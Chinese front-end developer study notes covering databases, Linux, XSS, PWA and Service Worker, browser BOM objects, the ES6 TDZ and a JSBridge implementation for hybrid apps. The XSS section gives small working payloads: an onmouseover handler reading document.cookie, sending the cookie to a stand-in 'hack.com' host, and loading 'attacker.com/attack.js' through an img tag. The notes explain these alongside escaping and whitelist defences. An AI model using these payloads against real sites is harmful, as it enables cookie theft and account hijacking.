- 关系型是指采用关系模型(二维表格模型)组织数据的数据库,具有事务一致性(任何人看到的数据都一致),也因此读写性能稍差
- 非关系型大多开源,大多以键值对存储,且结构不固定,每一个元组可以有不一样的字段,每个元组可以根据需要增加一些自己的键值对,这样就不会局限于固定的结构,可以减少一些时间和空间的开销。
关系型数据库:Oracle、MySQL、SQLServer
非关系型数据库(NoSQL):MongoDB
注意:其实非关系性数据库NoSQL是一个门类,其下有像MongoDB这样的以键值存放的数据库。另外Mongoose是在node.js环境下对mongodb进行便捷操作的对象模型工具,Mongoose使mongodb操作更加简单快捷。
linux相关
unix、linux、mac相爱相杀
参考:unix、linux、mac科普篇、Linux vs Unix
linux是一个采用了unix的设计思想,初始行为表现与unix相同的操作系统,但Linux中的源码并未有任何出自Unix。Linux符合一切皆文件的思想,其中读写操作都是处理文件描述符,无论是文件描述符后面的是真正要打开的文件,还是进程间通信的套接字,对于用户而言都是操作文件描述符。。。
mac常用命令
常用编辑器
常见网络攻击
XSS:
跨站脚本攻击(cross site scripting),为了不和层叠样式表(cascading style sheets,css)缩写混淆,所以将跨站脚本攻击缩写为xss。
vue等框架在渲染时,大括号语法会将数据渲染为普通文本,而非html代码,如果要输出真正的html,需要使用v-html指令。也就是vue的安全策略,默认把所有动态内容渲染为纯文本,当你需要把内容执行的时候需要显示调用v-html指令,如下:
如果在vue文件里这样写:
<div id="app" >
Welcome :
<span v-html="attack"></span>
</div >
new Vue({
el: '#app',
data: {
attack: '<script > alert(document.cookie)</script >',
}
});
但是:上面的alert并不会执行,因为浏览器阻止在初始页面加载后执行注入的脚本标记 但是我们可以这样做:
new Vue({
el: '#app',
data: {
attack: '<a onmouseover=alert(document.cookie)>click me!</a>',
}
});
上面已经拿到了页面的cookie,如果此时再给a标签添加一个href=”www.hack.com?ctx=document.cookie”,则用户的数据就被发送到其他网页了。。。
当然上面是监听mouseover事件触发js执行,还可以监听任意事件触发,当然img的src属性还可以请求第三方脚本进而执行,如:<img src="attacker.com/attack.js" />
xss分类:
- 反射性xss
- 持久性xss
- DOM-based xss
反射性的xss,其实可以理解为前端输入一个字符串,后端拿到之后也没有做处理,然后又直接返回给前端。。。前端也没有做处理,此时如果字符串里含有script标签,则会被执行。。。如果其他用户点击这种类型的链接,则会被攻击。。。
普通xss 攻击,通过html 转义就可以很好地解决,但是富文本编辑器,本身就是允许输入html 标签的,不能转义,需要引入第三方防止xss的包来处理,对文章内html 进行处理,可以自定义过滤规则,参考:根据白名单过滤HTML(防止XSS攻击)
chrome相关
技巧一:打开控制台 -> 右下角Event Listener Breakpoints 选择事件类型 -> 一直按住 |
(Pause script excution)键 -> 等到触发指定时间后松手即可进入单步调试状态 -> 进而可以静态 |
新技术相关
PWA
参考:PWA开发文档
Progressive Web App, 简称 PWA,是提升 Web App 的体验的一种新方法,能给用户原生应用的体验。
PWA 能做到原生应用的体验不是靠特指某一项技术,而是经过应用一些新技术进行改进,在安全、性能和体验三个方面都有很大提升,PWA 本质上是 Web App,借助一些新技术也具备了 Native App 的一些特性,兼具 Web App 和 Native App 的优点。
PWA 的主要特点包括下面三点:
- 可靠 - 即使在不稳定的网络环境下,也能瞬间加载并展现
- 体验 - 快速响应,并且有平滑的动画响应用户的操作
- 粘性 - 像设备上的原生应用,具有沉浸式的用户体验,用户可以添加到桌面 PWA 本身强调渐进式,并不要求一次性达到安全、性能和体验上的所有要求,
Service Worker
前端工程师有很多性能优化的手段,包括 CDN、CSS Sprite、文件的合并压缩、异步加载、资源缓存等等。其实我们绝大部分情况是在干一件事情,那就是尽量降低一个页面的网络请求成本从而缩短页面加载资源的时间并降低用户可感知的延时。当然减少用户可感知的延时也不仅仅是在网络请求成本层面,还有浏览器渲染效率,代码质量等等。
那什么是 Service Worker?
浏览器中的 javaScript 都是运行在一个单一主线程上的,在同一时间内只能做一件事情。随着 Web 业务不断复杂,我们逐渐在 js 中加了很多耗资源、耗时间的复杂运算过程,这些过程导致的性能问题在 WebApp 的复杂化过程中更加凸显出来。
W3C 组织早早的洞察到了这些问题可能会造成的影响,这个时候有个叫 Web Worker 的 API 被造出来了,这个 API 的唯一目的就是解放主线程,Web Worker 是脱离在主线程之外的,将一些复杂的耗时的活交给它干,完成后通过 postMessage 方法告诉主线程,而主线程通过 onMessage 方法得到 Web Worker 的结果反馈。
一切问题好像是解决了,但 Web Worker 是临时的,每次做的事情的结果还不能被持久存下来,如果下次有同样的复杂操作,还得费时间的重新来一遍。那我们能不能有一个Worker 是一直持久存在的,并且随时准备接受主线程的命令呢?基于这样的需求推出了最初版本的 Service Worker ,Service Worker 在 Web Worker 的基础上加上了持久离线缓存能力。当然在 Service Worker 之前也有在 HTML5 上做离线缓存的 API 叫 AppCache, 但是 AppCache 存在很多 不能忍受的缺点。
W3C 决定 AppCache 仍然保留在 HTML 5.0 Recommendation 中,在 HTML 后续版本中移除。
Service Worker 有以下功能和特性:
- 一个独立的 worker 线程,独立于当前网页进程,有自己独立的 worker context。
- 一旦被 install,就永远存在,除非被手动 unregister
- 用到的时候可以直接唤醒,不用的时候自动睡眠
- 可编程拦截代理请求和返回,缓存文件,缓存的文件可以被网页进程取到(包括网络离线状态)
- 离线内容开发者可控
- 能向客户端推送消息
- 不能直接操作 DOM
- 必须在 HTTPS 环境下才能工作
- 异步实现,内部大都是通过 Promise 实现
BOM相关
window对象
BOM的核心对象是window,它表示浏览器的一个实例。在浏览器中,window对象有双重角色,即是通过js访问浏览器窗口的一个接口,又是ECMAScript规定的Global对象,因此所有在全局作用域中声明的变量,函数都会变成window对象的属性和方法。
但是定义的全局变量和在window对象上直接定义属性还是有区别的,即全局变量不能通过delete删除,而直接在window对象上定义的可以:
aa = 22
window.bb = 33
delete aa // false
delete window.bb // true
console.log(window.aa) // 22
console.log(window.bb) // undefined
主要原因便是默认的属性描述符在作怪,如下
// 参数一是属性所在的对象,参数二是属性名
Object.getOwnPropertyDescriptor(window, 'aa')
configurable: false // 这里是false,表示描述符不可改变,切不可从对象上删除
enumerable: true
value: 22
writable: true
// 定义属性描述符,参考:Object.defineProperty(obj, prop, descriptor)
另外直接访问未声明的变量会报错,但通过window来访问,则不会报错(因为这相当于一次属性查询)
窗口及框架
如果页面中包含框架,则每个框架都有自己的window对象,并且保存在frames集合中,可以通过索引(从0开始,从左向右,从上到下)或框架名来访问相应的window对象,每个window对象都有一个name属性,其中包括框架的名称。如下注意这里不是iframe
,另外body标签是没有的。
<!DOCTYPE html>
<head>
<title>多个iframe的demo</title>
</head>
<!-- <body> -->
<frameset rows="160,*">
<frame src="frame.html" name="topFrame"></frame>
<frameset cols="25%,50%,25%">
<frame src="frame_a.htm" name="a"/>
<frame src="frame_b.htm" name="b"/>
<frame src="frame_c.htm" name="c"/>
</frameset>
</frameset>
<!-- </body> -->
</html>
对于上面多框架页面,所有的框架实例都保存在frames集合中,可以如下几种方式访问第一个框架,其他一样。
window.frames[0]
window.frames['topFrame']
top.frames[0]
top.frames['topFrame']
frames[0]
frames['topFrame']
注意:top始终指向最高(最外层)的框架,也就是浏览器窗口,使用它可以确保,在一个框架中访问另外一个框架。而对于在一个框架内的代码来说,其中的window对象指向的都是那个框架的特定实例,而非最高层的框架。
与top相对的是parent对象,它始终指向当前框架的直接上层框架。另外与框架相关的另一个self对象,始终指向window对象。引入self的目的只是为了与top和parent对象对应起来。所有这些都是window对象的属性,因此可以将不同层次的window对象连接起来。
self === window // true
// 不同层次window对象连接
window.parent.parent.frames[0]
在使用框架的情况下,浏览器中存在多个Global对象,在每个框架中定义的全局变量自动成为框架中window对象的属性,由于每个window对象都包含原生类型的构造函数,因此每个框架都有一套自己的构造函数,这些构造函数一一对应,但并不相等。例如:top.Object并不等于top.frames[0].Object,这个问题会影响到对跨框架传递的对象使用instanceof操作符。
导航和打开窗口
window.open()方法返回的是新窗口的引用,引用对象和其他window对象相似,该方法既可以导航到一个特定的URL,也可以打开一个新的浏览器窗口。有四个参数:
- 参数一:要加载的URL
- 参数二:窗口目标(可以自定义名,也可以用’_black’则每次都是新页面,还有’_self’,’_top’,’_parent’)
- 参数三:一个设置窗口样式的特性字符串(比如新窗口是否全屏,大小等,逗号分开)
- 参数四:新页面是否取代浏览器历史记录中当前加载页面的布尔值(不觉明历)
// _self是在当前页打开,此时height,width无效,保持和原始窗口大小一致,
// 参数4不觉明历,history对象的长度无论参数四是true还是false,每打开一次length就会增加1
window.open('http://www.baidu.com','_self','height=400,width=400',true)
// 当使用_black,_self,_top,_parent时,新打开的窗口name为空
// 当自定义命名时,每次都打开同一个命名的页面。
// 如果参数二并不是一个已经存在的窗口或框架,那么就会根据参数三来创建一个新窗口或新标签页
// 如果没有参数三,就会打开一个带有全部默认设置的新浏览器窗口
// 在不打开新窗口的情况下,会忽略参数三
window.open会返回一个指向新窗口的引用,对于新窗口打开的页面,可以调用这个引用的close方法关闭新窗口,还可以调整大小及位置
var newWindow = window.open('http://www.baidu.com','_blank','height=400,width=400',true)
newWindow.resizeTo(500,500) // 改变大小(可能被禁用)
newWindow.resizeBy(100,100) // 增量改变(可能被禁用)
newWindow.moveTo(100,100) // 移动位置(可能被禁用)
newWindow.close() // 关闭
// 另外新创建的window对象有opener属性,指向打开它的原始窗口对象,且只在弹窗窗口中的最外层window对象(top)中有定义,
var newWindow = window.open('http://www.baidu.com','_blank','height=400,width=400',true)
newWindow.opener === window // true
有些浏览器会在独立的进程中运行每个标签页,当一个标签页打开另一个标签页时,如果两个window对象之间需要彼此通信,那么新标签页就不能运行在独立的进程中。在chrome中,将新创建的标签页的opener属性设置为null,即表示在单独的进程中运行标签页。一旦断了联系将无法恢复。
location
location是最有用的BOM对象之一,提供了与当前窗口中加载的文档有关的信息,还提供一些导航功能。location是特殊的对象,既是window对象的属性,也是document对象的属性,如下
window.location === document.location // true
另外,location的用途不只表现它保存当前文档的信息,还表现在它将URL解析为独立的片段(比如hash,hostname,href,search等)
// 手动解析查询字符串
function getQueryStringArgs(){
let qs = location.search.length > 0 ? location.search.substring(1) : '';
let args = Object.create(null);
let items = qs.length ? qs.split('&') : [];
let name = null, value = null, i = 0, len = items.length;
for(i = 0 ;i < len ; i++){
let item = items[i].split('=')
name = decodeURIComponent(item[0])
value = decodeURIComponent(item[1])
if(name.length){
args[name] = value
}
}
return args;
}
使用location对象可以更改浏览器的位置
location.assign(URL)
// 等价于
window.location = URL
location.href = URL
使用location.reload可以重新加载页面,如果不传参则可能从缓存里加载(效率高),如果传true则从服务器重新加载
location.reload() // 可能从缓存中加载
location.reload(true) // 从服务器重新加载
注册处理程序
假如给网页注册处理程序,其实相当于扩展网页的能力。。。如果是注册处理RSS阅读器的处理程序,其实就是让网页具有处理RSS的能力,进而浏览器可以打开RSS相关的资源
navigator.registerProtocolHandler(protocol, url, title)
screen
有时候需要看看屏幕的分辨率,可以使用window.screen,里面的height和width便是高度和宽度的分辨率。当然还有其他的一些参数
history
history是window对象的属性,因此每个浏览器窗口,每个标签页乃至每个框架(比如iframe),都有自己的history对象与特定的window对象关联。但出于安全,无法得知具体的URL,但有访问列表,同样可以在不知URL的情况下实现后退和前进
history.go(2) // 前进两页
history.go(-2) // 后退两页
// 可以传递字符串,表示跳转到历史记录中包含该字符串的第一个位置,可能前进可能后退
history.go('test.com')
// go的简写方式
history.back() // 相当于后退键
history.forward() // 相当于前进键
ES6+集锦
ES6 规范定义了一个新概念,叫作 TDZ(Temporal Dead Zone,暂时性死区)。
TDZ指的是由于代码中的变量还没有初始化而不能被引用的情况。 对此,最直观的例子是 ES6 规范中的 let 块作用域:
{
a = 2; // ReferenceError!
let a;
}
a = 2试图在let a初始化a之前使用该变量(其作用域在{ .. }内),这里就是a的 TDZ,会产生错误。 有意思的是,对未声明变量使用 typeof 不会产生错误(参见第 1 章),但在 TDZ 中却会报错:
{
typeof a; // undefined
typeof b; // ReferenceError! (TDZ)
let b;
}
- 支付逻辑,
- 埋点逻辑
- docker
- 小程序
- 部署脚本
- 框架
- cas单点登录
- vue源码
- ts
- jenkins
- 数据结构及算法
- 微信sdk,授权,支付,分享
- 唤起app
- 线程,进程,微任务,宏任务
- Socket协议
- http5,css3,canvas,常见攻击,websocket,pwa,
svg,canvas,js,css动画
canvas是祯动画,意味着每个动作都是一个截图,最后是把截图播放……感觉那么多祯很耗费性能,但它有分层的概念,意味着如果有这层不变,可以重复利用……另外就是canvas没有具体元素的概念,都是坐标位置,因此就无法对某个元素添加事件……而svg不但是矢量图,还有具体的元素,因此可以基于元素做些操作,而css3动画很大程度上是浏览器封装实现的,再加上gpu加速,因此性能上很好,但缺点是无法做多个元素组合的动画(比如两个人打架),因为两个元素的时间很难放在同一个起点上……而js动画的,就比较好操作了……
jsBridge
参考:[H5与Native交互之JSBridge技术][h5AndNativeConnectUrl]、[iosJsBridge][WebViewJavascriptBridgeIosUrl]、[androidJsBridge][[WebViewJavascriptBridgeAndroidUrl]
You can use the UIWebView class to embed web content in your application. To do so, you simply create a UIWebView object, attach it to a window, and send it a request to load web content. You can also use this class to move back and forward in the history of webpages, and you can even set some web content properties programmatically. 您可以使用UIWebView类在应用程序中嵌入Web内容。 为此,您只需创建一个UIWebView对象,将其附加到
window
,然后向其发送加载Web内容的请求。 您还可以使用此类在网页历史记录中前后移动,甚至可以通过编程方式设置一些Web内容属性。
其实就是UIWebView
有类似浏览器的功能,我们使用可以它来打开页面,并做一些定制化的功能,如可以让js调某个方法可以取到手机的GPS信息。
Safari浏览器使用的浏览器控件和UIwebView组件并不是同一个,两者在性能上有很大的差距。幸运的是,苹果发布iOS8的时候,新增了一个WKWebView组件。
原生的UIWebView类提供了下面一些属性和方法,可以根据这些属性或方法,将native和H5联系起来。
s桥与ios通信是通过iframe实现,而与安卓稍有不同,但本质都是通过webview拦截请求,然后客户端可以截取请求的参数,进而实现交互……然后原生就可以在webview的全局对象上挂载一些方法,供h5端来调用……最常用的场景是获取token,客户端首先登录,回去服务器拿到token,然后再打开h5的页面时候,一般app.vue就会去获取token,此时有可能通过js桥去拿就拿不到(可能桥还没联通起来),因此在拿不到token的时候请求接口会有问题,因此需要在判断一下有无token,没有的话再次请求获取token……还有种情况,h5跳转到第三方页面,相当于新的环境,此时vuex里的数据就会消失,因此还需要重新获取。。。
// bridge.js ----begin----
const userAgentInfo = navigator.userAgent;
const isPhone = /(iPhone|iPad|iPod|iOS)/i.test( userAgentInfo );
let _data = Object.create( null );
let WebViewJavascriptBridge = window.WebViewJavascriptBridge;
function setupWebViewJavascriptBridge ( callback ) {
if ( isPhone ) {
if ( WebViewJavascriptBridge ) {
return callback( WebViewJavascriptBridge );
}
if ( window.WVJBCallbacks ) {
return window.WVJBCallbacks.push( callback );
}
window.WVJBCallbacks = [ callback ];
// UIWebView 可以监听所有网络请求
// 在ios中,js调用native有两种方式:location 和 iframe,都是schema方式
// 前者若多次改变,native层只能收到最后一次请求。因此用iframe模拟
var WVJBIframe = document.createElement( 'iframe' );
WVJBIframe.style.display = 'none';
WVJBIframe.src = 'wvjbscheme://__BRIDGE_LOADED__';
document.documentElement.appendChild( WVJBIframe );
setTimeout( function () {
document.documentElement.removeChild( WVJBIframe );
}, 0 );
} else {
// https://github.com/lzyzsd/JsBridge
// This lib will inject a WebViewJavascriptBridge Object to window object.
// So in your js, before use WebViewJavascriptBridge,
// you must detect if WebViewJavascriptBridge exist.
// If WebViewJavascriptBridge does not exit, you can listen to WebViewJavascriptBridgeReady event,
// as the blow code shows:
if ( WebViewJavascriptBridge ) {
callback( WebViewJavascriptBridge );
} else {
document.addEventListener(
'WebViewJavascriptBridgeReady',
function () {
callback( WebViewJavascriptBridge );
},
false
);
}
}
};
setupWebViewJavascriptBridge( function ( bridge ) {
if ( !isPhone ) {
// https://github.com/lzyzsd/JsBridge
// You can also define a default handler use init method,
// so that Java can send message to js without assigned handlerName
// 原生调用方法:webView.send("hello")
// will print 'JS got a message hello' and 'JS responding with' in webview console.
bridge.init( function ( message, responseCallback ) {
console.log( 'JS got a message', message );
var data = {
'Javascript Responds': 'Wee!'
};
console.log( 'JS responding with', data );
responseCallback( data );
} );
}
bridge.registerHandler( 'finupCredit_bridgeCallJavaScript', ( data, responseCallback ) => {
if ( !isPhone ) {
data = JSON.parse( data );
}
let result = {};
if ( _data.hasOwnProperty( data.method ) ) {
if ( !!data.data ) {
result = _data[ data.method ]( data );
} else {
result = _data[ data.method ]();
}
}
if ( !!responseCallback ) {
if ( !!result ) {
responseCallback( result );
} else {
responseCallback();
}
}
} );
} );
let obj = Object.create( null );
// 调用native的方法
// 参数一:传给native端的参数
// 参数二:执行完native端函数后,执行的回调
obj.callHandler = function ( data, callBackFunc ) {
if ( typeof data === 'string' ) {
data = {
method: data, // native端方法名
data: {} // 具体数据
};
}
setupWebViewJavascriptBridge( function ( bridge ) {
bridge.callHandler( 'finupCredit_bridgeCallNative', data, function responseCallback ( responseData ) {
console.log( 'JS received response:', responseData );
if ( callBackFunc ) {
callBackFunc( responseData );
}
} );
} );
};
obj.register = function ( name, callbackFunc ) {
_data[ name ] = callbackFunc;
};
export default obj;
// bridge.js ----end----
// 示例:js调用原生方法
// 将bridge文件引入所需文件
bridge.callHandler( {
method: "closeWebview",
data: {}
} )
// 示例:原生调用js方法
// 将bridge文件引入所需文件
nativeCallHFiveMethod( 'onRefresh', null, this.init );
function nativeCallHFiveMethod ( methodName, transData, callback ) {
if ( transData ) {
// 这里的bridge就是上面的obj
bridge.register( methodName, function () {
if ( /(iPhone|iPad|iPod|iOS)/i.test( navigator.userAgent ) ) {
return { data: transData };
}
else {
return transData;
}
} );
}
else {
bridge.register( methodName, callback ? callback : () => { } );
}
}
JavaScript 调用 Native 的方式,主要有两种:注入 API 和 拦截 URL SCHEME。在 4.2 之前,Android 注入 JavaScript 对象的接口是 addJavascriptInterface,但是这个接口有漏洞,可以被不法分子利用,危害用户的安全,因此在 4.2 中引入新的接口 @JavascriptInterface(上面代码中使用的)来替代这个接口,解决安全问题。所以 Android 注入对对象的方式是 有兼容性问题的。
为什么选择 iframe.src 不选择 locaiton.href ?因为如果通过 location.href 连续调用 Native,很容易丢失一些调用。**
在 iOS 中 WebView 需要分为UIWebView 和 iOS8 中新增的 WKWebView 两种类型。其中 WKWebView 相较于 UIWebView 优势在于能够直接使用系统 Safari 渲染引擎去渲染页面,支持更多的 HTML5 特性,渲染性能也会更好点。
docker使用
参考:docker从入门到实践
常用链接
[h5AndNativeConnectUrl]: https://segmentfault.com/a/1190000010356403 ‘H5与Native交互之JSBridge技术 [IosUrl]: https://github.com/marcuswestin/WebViewJavascriptBridge ‘ios’ [WebViewJavascriptBridgeAndroidUrl]: https://github.com/lzyzsd/JsBridge ‘android’ [androidViewportWidthSizeUrl]: http://viewportsizes.com [taoBaoFlexibleUrl]: https://www.kancloud.cn/chandler/web_app/353540 [commonRegexUrl]: https://juejin.im/post/5b96a8e2e51d450e6a2de115 [allRegexUnitUrl]: http://tool.oschina.net/uploads/apidocs/jquery/regexp.html [mdnRegexUrl]: https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Guide/Regular_Expressions [justTalkSandboxUrl]: http://www.nowamagic.net/javascript/js_SandBox.php [JavaScriptSandboxUrl]: https://segmentfault.com/a/1190000006808445